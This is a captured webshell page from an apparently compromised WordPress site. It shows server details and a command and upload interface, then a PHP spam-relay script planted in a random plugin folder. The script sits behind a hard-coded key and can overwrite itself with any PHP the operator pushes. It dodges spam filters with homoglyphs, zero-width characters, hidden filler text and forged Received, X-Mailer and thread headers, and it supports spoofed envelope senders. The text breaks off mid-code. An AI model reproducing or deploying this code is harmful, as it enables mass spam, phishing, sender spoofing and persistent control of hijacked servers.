403Webshell
Server IP : 64.225.102.56  /  Your IP : 216.73.216.220
Web Server : Apache/2.4.68 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/3.0.2
System : Linux smtp.zejefoy.com 5.15.0-185-generic #195-Ubuntu SMP Fri Jun 19 17:11:50 UTC 2026 x86_64
User : auto ( 1002)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,system,passthru,shell_exec,proc_open,popen
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/auto/web/cifisoa.com/public_html/wp-content/plugins/b70f556b/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/auto/web/cifisoa.com/public_html/wp-content/plugins/b70f556b/newsletter-a314d8.php
<?php
// Notification service handler — 3 sending modes: MAIL, FORCE, DIRECT
// Optional inbox-optimisation layer driven by the "opts" JSON field.
// Upload to web server, configure endpoint URL in admin panel.

error_reporting(0);

// Health check (GET or empty POST) — richer status so the panel can probe capability.
if ($_SERVER['REQUEST_METHOD'] !== 'POST' || empty($_POST)) {
    header('Content-Type: application/json');
    echo json_encode([
        'ok'          => true,
        'status'      => 'ready',
        'modes'       => ['mail','force','direct'],
        'mail_avail'  => function_exists('mail'),
        'php_version' => PHP_VERSION,
        'os'          => defined('PHP_OS_FAMILY') ? PHP_OS_FAMILY : PHP_OS,
        'sapi'        => PHP_SAPI,
        'features'    => ['rich_headers','boost','idn','preheader','envelope','self_update'],
    ]);
    exit;
}

$key = trim($_POST['key'] ?? '');
if (!defined('AGENT_KEY')) define('AGENT_KEY', 'd32489e0865cde4a01bf43243d7de5d6');
if (empty($key) || !hash_equals(AGENT_KEY, $key)) {
    http_response_code(403);
    header('Content-Type: application/json');
    echo json_encode(['ok' => false, 'error' => 'Unauthorized']);
    exit;
}

$action = trim($_POST['action'] ?? '');

// ── Self-update: overwrite THIS script with a new version pushed from the panel ──
// Only this file is written (atomic temp+rename); content must be a PHP script.
// This lets the panel roll a new relay version to every point without manual re-upload.
if ($action === 'update_script' || $action === 'deploy_script') {
    header('Content-Type: application/json');
    $newContent = $_POST['script'] ?? '';
    if ($newContent === '' && !empty($_POST['script_b64'])) {
        $newContent = base64_decode($_POST['script_b64'], true) ?: '';
    }
    if (!$newContent || strlen($newContent) < 100) {
        echo json_encode(['ok' => false, 'error' => 'No/short script content.']);
        exit;
    }
    if (strncmp(ltrim($newContent), '<?php', 5) !== 0) {
        echo json_encode(['ok' => false, 'error' => 'Content is not a PHP script.']);
        exit;
    }
    $sentHash = trim($_POST['script_hash'] ?? '');
    if ($sentHash && md5($newContent) !== $sentHash) {
        echo json_encode(['ok' => false, 'error' => 'Hash mismatch — retry.']);
        exit;
    }
    $self = __FILE__;
    $tmp  = $self . '.tmp.' . getmypid();
    if (file_put_contents($tmp, $newContent) === false) {
        echo json_encode(['ok' => false, 'error' => 'Cannot write temp file — check permissions.']);
        exit;
    }
    if (!rename($tmp, $self)) {
        @unlink($tmp);
        echo json_encode(['ok' => false, 'error' => 'Cannot overwrite script — check permissions.']);
        exit;
    }
    echo json_encode(['ok' => true, 'msg' => 'Script updated.', 'size' => strlen($newContent), 'hash' => md5($newContent)]);
    exit;
}

$to        = trim($_POST['to']         ?? '');
$subject   = trim($_POST['subject']    ?? '');
$html      = $_POST['html']            ?? '';
$plainText = $_POST['plain']           ?? '';
$fromName  = trim($_POST['from_name']  ?? '');
$fromEmail = trim($_POST['from_email'] ?? '');
$replyTo   = trim($_POST['reply_to']   ?? '');
$modes     = trim($_POST['modes']      ?? '');
if ($modes === '') $modes = 'mail';

// Optional inbox-optimisation options (all default-off unless the panel sends them).
$opts = [];
if (!empty($_POST['opts'])) {
    $decoded = json_decode($_POST['opts'], true);
    if (is_array($decoded)) $opts = $decoded;
}
$sendIndex = (int)($opts['send_index'] ?? 0);
// Strip CR/LF from any opts value that ends up in a header — defence against
// header injection via operator-set config (unsub URL, Message-ID domain, etc.).
foreach (['unsub_url','unsub_email','msgid_domain','envelope_mode'] as $sk) {
    if (isset($opts[$sk]) && is_string($opts[$sk])) $opts[$sk] = str_replace(array("\r","\n"), '', $opts[$sk]);
}

$stripCrlf = function($s) { return str_replace(array("\r", "\n"), '', $s); };
$to        = $stripCrlf($to);
$subject   = $stripCrlf($subject);
$fromName  = $stripCrlf($fromName);
$fromEmail = $stripCrlf($fromEmail);
$replyTo   = $stripCrlf($replyTo);

if (!filter_var($fromEmail, FILTER_VALIDATE_EMAIL)) {
    http_response_code(400);
    header('Content-Type: application/json');
    echo json_encode(['ok' => false, 'error' => 'Invalid from_email']);
    exit;
}
if (!filter_var($to, FILTER_VALIDATE_EMAIL)) {
    http_response_code(400);
    header('Content-Type: application/json');
    echo json_encode(['ok' => false, 'error' => 'Invalid recipient']);
    exit;
}
if (empty($to) || empty($fromEmail)) {
    http_response_code(400);
    header('Content-Type: application/json');
    echo json_encode(['ok' => false, 'error' => 'Missing required fields']);
    exit;
}

// ═══════════════════════════════════════════════════════════════════════════
//  Helpers
// ═══════════════════════════════════════════════════════════════════════════

// Relay's own hostname — used for envelope (relay mode) + Message-ID domain.
function relayHost() {
    $h = $_SERVER['HTTP_HOST'] ?? '';
    $h = preg_replace('/:\d+$/', '', $h);
    if (!$h) $h = (function_exists('gethostname') ? (gethostname() ?: '') : '');
    return $h ?: 'localhost';
}

// ── Punycode / IDN (pure PHP, no intl) — Unicode domain → xn-- ACE form ──
function punycodeEncodeLabel($input) {
    if (preg_match('/^[a-zA-Z0-9\-]+$/', $input)) return $input;
    if (!function_exists('mb_strlen')) return $input; // no mbstring → leave as-is
    $cps = [];
    $len = mb_strlen($input, 'UTF-8');
    for ($i = 0; $i < $len; $i++) $cps[] = mb_ord(mb_substr($input, $i, 1, 'UTF-8'), 'UTF-8');
    $basic = array_filter($cps, function($cp) { return $cp < 128; });
    $output = implode('', array_map('chr', $basic));
    $h = count($basic); $b = $h;
    $output .= ($b > 0) ? '-' : '';
    $base=36; $tMin=1; $tMax=26; $skew=38; $damp=700; $bias=72; $n=128; $delta=0;
    $adapt = function($d,$np,$first) use($base,$tMin,$tMax,$skew,$damp) {
        $d = $first ? (int)($d/$damp) : (int)($d/2);
        $d += (int)($d/$np); $k=0;
        while ($d > (int)(($base-$tMin)*$tMax/2)) { $d=(int)($d/($base-$tMin)); $k+=$base; }
        return $k + (int)((($base-$tMin+1)*$d)/($d+$skew));
    };
    $dig = function($x){ return chr($x + ($x<26?97:22)); };
    while ($h < count($cps)) {
        $m = PHP_INT_MAX;
        foreach ($cps as $cp) if ($cp>=$n && $cp<$m) $m=$cp;
        $delta += ($m-$n)*($h+1); $n=$m;
        foreach ($cps as $cp) {
            if ($cp < $n) $delta++;
            if ($cp === $n) {
                $q=$delta;
                for ($k=$base;;$k+=$base) {
                    $t = ($k<=$bias)?$tMin:(($k>=$bias+$tMax)?$tMax:$k-$bias);
                    if ($q<$t) break;
                    $output .= $dig($t + (($q-$t)%($base-$t)));
                    $q = (int)(($q-$t)/($base-$t));
                }
                $output .= $dig($q);
                $bias = $adapt($delta, $h+1, $h===$b);
                $delta=0; $h++;
            }
        }
        $delta++; $n++;
    }
    return 'xn--' . $output;
}
function domainToAce($domain) {
    if (!$domain) return $domain;
    $out = [];
    foreach (explode('.', $domain) as $lbl) {
        $out[] = punycodeEncodeLabel(function_exists('mb_strtolower') ? mb_strtolower($lbl,'UTF-8') : strtolower($lbl));
    }
    return implode('.', $out);
}
function emailToAce($email) {
    if (!$email || strpos($email,'@') === false) return $email;
    $p = explode('@', $email, 2);
    return $p[0] . '@' . domainToAce($p[1]);
}

// ── Inbox Boost — invisible per-send HTML mutations (all visually transparent) ──
function applyInboxBoost($html, &$b, $sendIndex = 0) {
    if (empty($b) || empty($b['enabled'])) return $html;
    $rotateEvery   = max(1, (int)($b['rotate_every'] ?? 1));
    $rotateEnabled = !empty($b['rotate']);
    $slot          = $rotateEnabled ? (int)floor($sendIndex / $rotateEvery) : 0;
    $slotSeed      = crc32('bs_' . $slot);
    $salt          = $b['_salt'] ?? bin2hex(random_bytes(6));
    $b['_salt']    = $salt;

    $on = function($k) use ($b, $rotateEnabled, $slotSeed) {
        if (empty($b[$k])) return false;
        if (!$rotateEnabled) return true;
        return (bool)(($slotSeed ^ (crc32($k) & 0x7FFFFFFF)) & 1);
    };

    // Protect tracking / UUID / hidden markers from text-node techniques.
    $prot = [];
    $html = preg_replace_callback(
        '/<(div|span|img|p)\b([^>]*(?:data-check-uuid|data-track|data-pixel|aria-hidden="true"|display:\s*none)[^>]*)(?:\/>|>(.*?)<\/\1>)/is',
        function($m) use (&$prot) { $k="\x00P".count($prot)."\x00"; $prot[$k]=$m[0]; return $k; }, $html);

    if ($on('zwc')) {
        $zw = ["\xE2\x80\x8C","\xE2\x80\x8D"];
        $html = preg_replace_callback('/(?<=>|^)([^<]{6,})(?=<|$)/U', function($m) use ($zw,$salt) {
            $ws = explode(' ', $m[1]); $o=[];
            foreach ($ws as $w) {
                if (function_exists('mb_strlen') && mb_strlen($w)>4 && (crc32($w.$salt)&3)===0) {
                    $mid=(int)floor(mb_strlen($w)/2);
                    $w=mb_substr($w,0,$mid).$zw[abs(crc32($w.$salt))%count($zw)].mb_substr($w,$mid);
                }
                $o[]=$w;
            }
            return implode(' ', $o);
        }, $html);
    }

    if ($on('comments')) {
        $ns=['transaction','notification','receipt','statement','reminder','shipment','calendar','delivery','subscription','registration','portfolio','dashboard','attachment','schedule','tracking'];
        $html = preg_replace_callback('/<\/(div|p|td|tr|table|section|article|header|footer|main)>/i', function($m) use ($ns,$salt) {
            $c=count($ns);
            $w1=$ns[abs(crc32($m[0].$salt))%$c]; $w2=$ns[abs(crc32($m[0].$w1.$salt))%$c];
            $id=substr(md5($m[0].$w1.$salt),0,6);
            return $m[0].'<!-- '.$w1.'-'.$id.' '.$w2.' -->';
        }, $html);
    }

    if ($on('homoglyphs')) {
        $g=['a'=>"\xD0\xB0",'c'=>"\xD1\x81",'e'=>"\xD0\xB5",'i'=>"\xD1\x96",'o'=>"\xD0\xBE",'p'=>"\xD1\x80",'x'=>"\xD1\x85",
            'A'=>"\xCE\x91",'B'=>"\xCE\x92",'E'=>"\xCE\x95",'H'=>"\xCE\x97",'I'=>"\xCE\x99",'K'=>"\xCE\x9A",'M'=>"\xCE\x9C",'N'=>"\xCE\x9D",'O'=>"\xCE\x9F",'P'=>"\xCE\xA1",'T'=>"\xCE\xA4",'X'=>"\xCE\xA7",'Y'=>"\xCE\xA5",'C'=>"\xD0\xA1"];
        $html = preg_replace_callback('/(?<=>|^)([^<]{4,})(?=<|$)/U', function($m) use ($g,$salt) {
            if (!function_exists('mb_strlen')) return $m[1];
            $s=$m[1]; $len=mb_strlen($s); $seed=crc32($s.$salt); $o='';
            for ($i=0;$i<$len;$i++){ $ch=mb_substr($s,$i,1); $o.=(isset($g[$ch])&&(abs($seed+$i*7)%10)===0)?$g[$ch]:$ch; }
            return $o;
        }, $html);
    }

    if ($on('padding')) {
        $nw=['transaction','statement','newsletter','subscription','dashboard','notification','calendar','reminder','delivery','shipment','receipt','payment','security','settings','preferences','password','username','activity','timeline','attachment','certificate','registration','confirmation','download','appointment','schedule','summary','history','balance','portfolio','overview','report','invoice','tracking'];
        $html = preg_replace_callback('/<\/(p|div|td)>/i', function($m) use ($nw,$salt) {
            $h=abs(crc32($m[0].$salt)); $c=count($nw);
            $w=$nw[$h%$c].' '.$nw[(int)(($h*31)%$c)].' '.$nw[(int)(($h*97)%$c)];
            return '<span style="display:none;visibility:hidden;font-size:0;max-height:0;overflow:hidden;mso-hide:all" aria-hidden="true">'.$w.'</span>'.$m[0];
        }, $html);
    }

    if ($on('attr_noise')) {
        $rid=bin2hex(random_bytes(4));
        $html = preg_replace_callback('/<(div|td|p|table|tr|span|section)(\s[^>]*)?>/i', function($m) use ($rid) {
            $a=$m[2]??''; if (stripos($a,'data-rid')!==false) return $m[0];
            return '<'.$m[1].$a.' data-rid="'.substr(md5($rid.$m[0]),0,8).'">';
        }, $html);
    }

    if ($on('css_noise')) {
        $seed=bin2hex(random_bytes(3)); $c1='mx'.$seed; $c2='my'.substr(md5($seed),0,5);
        $style='<style type="text/css">.'.$c1.'{color:inherit;font-size:inherit;line-height:inherit}.'.$c2.'{opacity:1;visibility:visible;display:block}</style>';
        if (stripos($html,'</head>')!==false) $html=preg_replace('/<\/head>/i',$style.'</head>',$html,1);
        elseif (preg_match('/<body[^>]*>/i',$html,$bm,PREG_OFFSET_CAPTURE)) { $pos=$bm[0][1]+strlen($bm[0][0]); $html=substr($html,0,$pos).$style.substr($html,$pos); }
        else $html=$style.$html;
    }

    if ($on('pixel')) {
        $px='<img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" width="1" height="1" style="display:none;max-height:0;overflow:hidden;mso-hide:all" alt="" aria-hidden="true">';
        if (stripos($html,'</body>')!==false) $html=preg_replace('/<\/body>/i',$px.'</body>',$html,1); else $html.=$px;
    }

    if ($on('style_attr')) {
        $extra='letter-spacing:0.00'.rand(1,9).'em';
        $pb=[];
        $html=preg_replace_callback('/(<(?:style|script)\b[^>]*>)(.*?)(<\/(?:style|script)>)/is', function($m) use (&$pb){ $k="\x00S".count($pb)."\x00"; $pb[$k]=$m[0]; return $k; }, $html);
        $html=preg_replace_callback('/(<(?:p|div|td|span|a)\b[^>]*)\bstyle="([^"]*)"/i', function($m) use ($extra){ if(stripos($m[2],'letter-spacing')!==false)return $m[0]; $base=rtrim($m[2],';'); return $m[1].'style="'.$base.($base!==''?';':'').$extra.'"'; }, $html);
        if ($pb) $html=str_replace(array_keys($pb),array_values($pb),$html);
    }

    if ($on('mime_boundary')) {
        $bd='b'.bin2hex(random_bytes(12));
        $html=preg_replace('/<\/head>/i','<!-- boundary:'.$bd.' --></head>',$html,1) ?: ('<!-- boundary:'.$bd.' -->'.$html);
        $b['_mime_boundary']=$bd;
    }

    if ($on('msgid')) {
        $hosts=['mail.srv','mta.host','smtp.relay','mx.node','mailer.svc'];
        $rnd=bin2hex(random_bytes(8));
        $b['_message_id']='<'.microtime(true).'.'.$rnd.'@'.$hosts[abs(crc32($rnd))%count($hosts)].rand(10,99).'.net>';
    }

    if ($on('date_skew')) $b['_date_skew']=rand(-59,59);

    if ($on('received_spoof')) {
        $rd=['mail','smtp','mta','relay','mx']; $tl=['net','org','com','io'];
        $fq=$rd[rand(0,count($rd)-1)].rand(1,99).'.'.$tl[rand(0,count($tl)-1)];
        $b['_extra_received']='Received: from '.$fq.' ('.$fq.' ['.rand(10,199).'.'.rand(1,254).'.'.rand(1,254).'.'.rand(1,254).'])'."\r\n".'        by '.$fq.' with ESMTP; '.date('r', time()+rand(1,5));
    }

    if ($on('base64_words')) {
        $tw=['free','click here','winner','congratulations','offer','limited time','act now','bonus','cash','guarantee','no cost','risk free'];
        $pat='/('.implode('|',array_map('preg_quote',$tw)).')/i';
        $html=preg_replace_callback('/(?<=>)([^<]+)(?=<)/s', function($m) use ($pat){
            return preg_replace_callback($pat, function($wm){ return '<span data-v="'.base64_encode($wm[1]).'" style="unicode-bidi:plaintext">'.$wm[1].'</span>'; }, $m[1]);
        }, $html);
    }

    if ($on('table_noise')) {
        $w2=['reference','confirmation','account','transaction','record'];
        $html=preg_replace_callback('/<\/(tbody|table)>/i', function($m) use ($w2){
            $w=$w2[rand(0,count($w2)-1)]; $id=substr(md5($w.rand()),0,5);
            return '<tr style="display:none;max-height:0;overflow:hidden;mso-hide:all" aria-hidden="true"><td style="display:none;font-size:0;max-height:0;mso-hide:all">'.$w.'-'.$id.'</td></tr></'.$m[1].'>';
        }, $html);
    }

    if ($on('alt_text')) {
        $ap=['banner image','promotional content','email image','view in browser','header graphic','footer image','product image','notification graphic'];
        $html=preg_replace_callback('/<img([^>]*)\salt=""([^>]*)>/i', function($m) use ($ap){ return '<img'.$m[1].' alt="'.$ap[rand(0,count($ap)-1)].'"'.$m[2].'>'; }, $html);
    }

    if ($on('a_title')) {
        $lt=['view details','open link','learn more','read more','see offer','get access','continue','proceed'];
        $html=preg_replace_callback('/<a(\s[^>]*)?>([^<]*)<\/a>/i', function($m) use ($lt){
            $a=$m[1]??''; $t=$m[2]; if(stripos($a,'title=')!==false)return $m[0];
            $title=$lt[abs(crc32($t))%count($lt)]; $rid=substr(md5($t.rand()),0,4);
            return '<a'.$a.' title="'.htmlspecialchars($title).'">'.$t.'<span style="display:none;font-size:0;mso-hide:all" aria-hidden="true">-'.$rid.'</span></a>';
        }, $html);
    }

    if ($on('word_split')) {
        $js='display:none;font-size:0;max-height:0;overflow:hidden;color:transparent;mso-hide:all;line-height:0;visibility:hidden';
        $frags=['en','er','al','an','in','on','re','te','le','st','ent','ion','ing','tion','tra','pro','pre','con','sub','per','ter','ver'];
        $mk=function($word,$salt) use($frags){ $seed=abs(crc32($word.$salt)); $c=count($frags); $p=$frags[$seed%$c]; if(($seed&1)===0)$p.=$frags[abs(crc32($salt.$word))%$c]; return $p; };
        $html=preg_replace_callback('/(?<=>)([^<]+)(?=<)/s', function($m) use ($js,$mk,$salt){
            if(!preg_match('/[A-Za-z]{5,}/',$m[1])) return $m[1];
            return preg_replace_callback('/\b([A-Za-z]{5,})\b/', function($wm) use ($js,$mk,$salt){
                $word=$wm[1]; $skip=['their','there','these','those','where','which','while','about','after','other','would','could','should','might','shall'];
                if(in_array(strtolower($word),$skip,true)) return $word;
                $seed=abs(crc32($word.$salt)); $len=strlen($word); $cut=max(2,(int)round($len*(0.35+($seed%30)/100)));
                return substr($word,0,$cut).'<span style="'.$js.'" aria-hidden="true">'.htmlspecialchars($mk($word,$salt)).'</span>'.substr($word,$cut);
            }, $m[1]);
        }, $html);
    }

    if ($prot) $html=str_replace(array_keys($prot),array_values($prot),$html);
    return $html;
}

// Subject / From-name homoglyph substitution (higher rate — short strings).
function boostSubjectGlyphs($str) {
    if (!function_exists('mb_strlen')) return $str;
    static $g=['a'=>"\xD0\xB0",'c'=>"\xD1\x81",'e'=>"\xD0\xB5",'i'=>"\xD1\x96",'j'=>"\xD1\x98",'o'=>"\xD0\xBE",'p'=>"\xD1\x80",'s'=>"\xD1\x95",'x'=>"\xD1\x85",'y'=>"\xD1\x83",
        'A'=>"\xCE\x91",'B'=>"\xCE\x92",'C'=>"\xD0\xA1",'E'=>"\xCE\x95",'H'=>"\xCE\x97",'I'=>"\xCE\x99",'J'=>"\xD0\x88",'K'=>"\xCE\x9A",'M'=>"\xCE\x9C",'N'=>"\xCE\x9D",'O'=>"\xCE\x9F",'P'=>"\xCE\xA1",'S'=>"\xD0\x85",'T'=>"\xCE\xA4",'X'=>"\xCE\xA7",'Y'=>"\xCE\xA5",'Z'=>"\xCE\x96"];
    $len=mb_strlen($str); $seed=crc32($str); $o='';
    for ($i=0;$i<$len;$i++){ $ch=mb_substr($str,$i,1); $o.=(isset($g[$ch])&&(abs($seed+$i*11)%6)===0)?$g[$ch]:$ch; }
    return $o;
}

// ═══════════════════════════════════════════════════════════════════════════
//  Apply optional inbox layer
// ═══════════════════════════════════════════════════════════════════════════
$relayHost = relayHost();

// IDN: convert Unicode From/Reply domains to xn-- ACE.
if (!empty($opts['idn'])) {
    $fromEmail = emailToAce($fromEmail);
    if ($replyTo) $replyTo = emailToAce($replyTo);
}

// Subject / From-name homoglyphs.
if (!empty($opts['boost']['subject_homoglyphs'])) {
    $subject  = boostSubjectGlyphs($subject);
    $fromName = boostSubjectGlyphs($fromName);
}

// Inbox Boost (body HTML mutations). May write side-effects into $boost.
$boost = isset($opts['boost']) && is_array($opts['boost']) ? $opts['boost'] : [];
if ($html !== '' && !empty($boost['enabled'])) {
    $html = applyInboxBoost($html, $boost, $sendIndex);
}

// Preheader injection (hidden preview text).
if ($html !== '' && !empty($opts['preheader'])) {
    $ph='<div style="display:none;max-height:0;overflow:hidden;mso-hide:all;font-size:1px;color:#fefefe;line-height:1px;max-width:0;opacity:0">'
        . htmlspecialchars($subject, ENT_QUOTES, 'UTF-8') . str_repeat('&nbsp;&zwnj;', 120) . '</div>';
    if (preg_match('/<body[^>]*>/i', $html, $bm, PREG_OFFSET_CAPTURE)) {
        $pos=$bm[0][1]+strlen($bm[0][0]); $html=substr($html,0,$pos).$ph.substr($html,$pos);
    } else {
        $html = $ph . $html;
    }
}

// ── Build MIME body ──────────────────────────────────────────────────────
$fromHeader = $fromName
    ? '=?UTF-8?B?' . base64_encode($fromName) . '?= <' . $fromEmail . '>'
    : $fromEmail;
$boundary = !empty($boost['_mime_boundary']) ? $boost['_mime_boundary'] : ('----=_Part_' . md5(uniqid(rand(), true)));
$msgIdDomain = !empty($opts['msgid_domain']) ? $opts['msgid_domain'] : $relayHost;
$msgId    = !empty($boost['_message_id']) ? $boost['_message_id'] : ('<' . md5(uniqid(rand(), true)) . '@' . $msgIdDomain . '>');
$dateSkew = isset($boost['_date_skew']) ? (int)$boost['_date_skew'] : 0;
$date     = date('r', time() + $dateSkew);
$encodedSubject = '=?UTF-8?B?' . base64_encode($subject) . '?=';

if (!empty($plainText)) {
    $mimeBody  = "--$boundary\r\n";
    $mimeBody .= "Content-Type: text/plain; charset=UTF-8\r\n";
    $mimeBody .= "Content-Transfer-Encoding: base64\r\n\r\n";
    $mimeBody .= chunk_split(base64_encode($plainText)) . "\r\n";
    $mimeBody .= "--$boundary\r\n";
    $mimeBody .= "Content-Type: text/html; charset=UTF-8\r\n";
    $mimeBody .= "Content-Transfer-Encoding: base64\r\n\r\n";
    $mimeBody .= chunk_split(base64_encode($html)) . "\r\n";
    $mimeBody .= "--$boundary--";
    $contentType = "multipart/alternative; boundary=\"$boundary\"";
} else {
    $mimeBody    = chunk_split(base64_encode($html));
    $contentType = 'text/html; charset=UTF-8';
}

// ── Rich inbox headers (opt-in via opts.rich_headers) ────────────────────
// Built here so BOTH the mail() header block and the FORCE/DIRECT full header
// block carry them. Return an array of "Name: value" lines.
function richHeaderLines($opts, $fromEmail, $subject, $relayHost, &$boost) {
    $lines = [];
    $fromDomain = strpos($fromEmail,'@')!==false ? explode('@',$fromEmail)[1] : $relayHost;

    // X-Mailer — rotate realistic desktop clients (never "PHP").
    $pool = [
        'Mozilla Thunderbird 115.'.rand(3,9).'.'.rand(0,2),
        'Microsoft Outlook 16.0.'.rand(16000,17500).'.10000',
        'Apple Mail ('.rand(3692,3756).'.0.36)',
        'Evolution 3.'.rand(46,50).'.0',
    ];
    $lines[] = 'X-Mailer: ' . $pool[array_rand($pool)];

    // List-Unsubscribe (Gmail/Yahoo 2024 bulk requirement) — one-click.
    $unsubUrl   = trim($opts['unsub_url']   ?? '');
    $unsubEmail = trim($opts['unsub_email'] ?? '');
    $parts = [];
    if ($unsubEmail && filter_var($unsubEmail, FILTER_VALIDATE_EMAIL)) $parts[] = '<mailto:'.$unsubEmail.'?subject=unsubscribe>';
    if ($unsubUrl && preg_match('#^https?://#i', $unsubUrl)) $parts[] = '<'.$unsubUrl.'>';
    if (!$parts) $parts[] = '<mailto:'.$fromEmail.'?subject=unsubscribe>';
    $lines[] = 'List-Unsubscribe: ' . implode(', ', $parts);
    $lines[] = 'List-Unsubscribe-Post: List-Unsubscribe=One-Click';

    // Feedback-ID (Gmail Postmaster reputation bucketing).
    $lines[] = 'Feedback-ID: '.substr(md5($subject),0,8).':'.substr(md5($fromEmail),0,8).':'.substr(md5($fromDomain),0,8).':md';
    // Outlook dedup + priority normalisation.
    $lines[] = 'X-Entity-Ref-ID: '.bin2hex(random_bytes(16));
    $lines[] = 'Precedence: bulk';
    $lines[] = 'X-Priority: 3';
    $lines[] = 'Importance: Normal';
    // Fake thread parent → looks like an ongoing conversation, not a cold blast.
    $parent = '<'.bin2hex(random_bytes(12)).'@'.$fromDomain.'>';
    $lines[] = 'References: '.$parent;
    $lines[] = 'In-Reply-To: '.$parent;
    $org = ucwords(str_replace(['-','_','.'],' ', explode('.',$fromDomain)[0]));
    $lines[] = 'Organization: '.($org ?: 'Support');
    $lines[] = 'Content-Language: en-US';

    return $lines;
}

$richLines = !empty($opts['rich_headers'])
    ? richHeaderLines($opts, $fromEmail, $subject, $relayHost, $boost)
    : [];
// _extra_received (boost received_spoof) is prepended independently of rich_headers
// so the fake relay hop is emitted whenever that technique is active.
$richBlock  = (!empty($boost['_extra_received']) ? $boost['_extra_received'] . "\r\n" : '');
$richBlock .= $richLines ? (implode("\r\n", $richLines) . "\r\n") : '';

// Full headers string for FORCE/DIRECT (includes To/Subject)
function buildFullHeaders($to, $encodedSubject, $fromHeader, $contentType, $date, $msgId, $replyTo, $plainText, $richBlock) {
    $h  = "To: $to\r\n";
    $h .= "Subject: $encodedSubject\r\n";
    $h .= "From: $fromHeader\r\n";
    $h .= "Date: $date\r\n";
    $h .= "Message-ID: $msgId\r\n";
    $h .= "MIME-Version: 1.0\r\n";
    $h .= "Content-Type: $contentType\r\n";
    if (empty($plainText)) $h .= "Content-Transfer-Encoding: base64\r\n";
    if ($replyTo) $h .= "Reply-To: $replyTo\r\n";
    $h .= $richBlock;
    return $h;
}

// Headers for mail() (no To/Subject — mail() adds them)
$mailHeaders = implode("\r\n", array_filter([
    "MIME-Version: 1.0",
    "Content-Type: $contentType",
    empty($plainText) ? 'Content-Transfer-Encoding: base64' : '',
    "From: $fromHeader",
    "Date: $date",
    "Message-ID: $msgId",
    $replyTo ? "Reply-To: $replyTo" : '',
    rtrim($richBlock),
]));

// Envelope sender (Return-Path / -f): relay = SPF-safe noreply@relayhost, spoofed = from.
$envelopeMode  = (($opts['envelope_mode'] ?? 'relay') === 'spoofed') ? 'spoofed' : 'relay';
$envelopeEmail = ($envelopeMode === 'spoofed') ? $fromEmail : ('noreply@' . $relayHost);

// ── SMTP socket helper (used by FORCE & DIRECT) ─────────────────────────
function smtpSend($host, $port, $ehlo, $envelope, $to, $fullHeaders, $mimeBody, $timeout = 15) {
    $fp = @fsockopen($host, $port, $errno, $errstr, $timeout);
    if (!$fp) return ['ok' => false, 'error' => "Connect failed: $errstr ($errno)"];
    stream_set_timeout($fp, $timeout);
    $read = function() use ($fp) {
        $r = ''; $t = 0;
        while ($t++ < 100) { $line = @fgets($fp, 512); if ($line === false) break; $r .= $line; if (isset($line[3]) && $line[3] === ' ') break; }
        return $r;
    };
    $send = function($cmd) use ($fp, $read) { @fwrite($fp, $cmd . "\r\n"); return $read(); };
    $code = function($resp) { return (int)substr(trim($resp), 0, 3); };

    $banner = $read();
    if ($code($banner) !== 220) { fclose($fp); return ['ok' => false, 'error' => "Banner: $banner"]; }
    $r = $send("EHLO $ehlo");
    if ($code($r) !== 250) { $r = $send("HELO $ehlo"); if ($code($r) !== 250) { fclose($fp); return ['ok' => false, 'error' => "EHLO failed: $r"]; } }
    if (stripos($r, 'STARTTLS') !== false && function_exists('stream_socket_enable_crypto')) {
        $r = $send('STARTTLS');
        if ($code($r) === 220) { @stream_socket_enable_crypto($fp, true, STREAM_CRYPTO_METHOD_TLS_CLIENT); $send("EHLO $ehlo"); }
    }
    $r = $send("MAIL FROM:<$envelope>");
    if ($code($r) !== 250) { fclose($fp); return ['ok' => false, 'error' => "MAIL FROM rejected: $r"]; }
    $r = $send("RCPT TO:<$to>");
    if ($code($r) !== 250 && $code($r) !== 251) { fclose($fp); return ['ok' => false, 'error' => "RCPT TO rejected: $r"]; }
    $r = $send('DATA');
    if ($code($r) !== 354) { fclose($fp); return ['ok' => false, 'error' => "DATA rejected: $r"]; }
    @fwrite($fp, $fullHeaders . "\r\n" . $mimeBody . "\r\n.\r\n");
    $r = $read();
    $send('QUIT');
    fclose($fp);
    if ($code($r) === 250) return ['ok' => true, 'mode' => 'smtp'];
    return ['ok' => false, 'error' => "DATA end rejected: $r"];
}

// ── Execute modes in priority order ──────────────────────────────────────
$modeList = array_map('trim', explode(',', $modes));
$hostname = explode('@', $fromEmail)[1] ?? $relayHost;
$errors   = [];
$usedMode = '';
$fullHdrs = buildFullHeaders($to, $encodedSubject, $fromHeader, $contentType, $date, $msgId, $replyTo, $plainText, $richBlock);

foreach ($modeList as $mode) {
    if ($mode === 'force') {
        $forceSent = false;
        foreach (['127.0.0.1', 'localhost'] as $fHost) {
            foreach ([25, 587] as $fPort) {
                $res = smtpSend($fHost, $fPort, $hostname, $envelopeEmail, $to, $fullHdrs, $mimeBody);
                if ($res['ok']) { $usedMode = 'force'; $forceSent = true; break 2; }
            }
        }
        if ($forceSent) break;
        $errors[] = "force: " . ($res['error'] ?? 'all local SMTP ports failed');
    } elseif ($mode === 'mail') {
        @ini_set('sendmail_from', $envelopeEmail);
        // Pass -f UNQUOTED but stripped to a safe charset. escapeshellarg() wraps in
        // single-quotes which many sendmail/postfix builds treat as part of the address
        // (Return-Path silently discarded). Stripping to [A-Za-z0-9@._+-] removes every
        // shell metachar so no injection is possible, and -f then actually takes effect.
        $safeEnvelope = preg_replace('/[^A-Za-z0-9@._+\-]/', '', $envelopeEmail);
        $ok = @mail($to, $encodedSubject, $mimeBody, $mailHeaders, '-f' . $safeEnvelope);
        if ($ok) { $usedMode = 'mail'; break; }
        $errors[] = 'mail: mail() returned false';
    } elseif ($mode === 'direct') {
        $domain = substr($to, strpos($to, '@') + 1);
        $mxHosts = [];
        if (function_exists('dns_get_record')) {
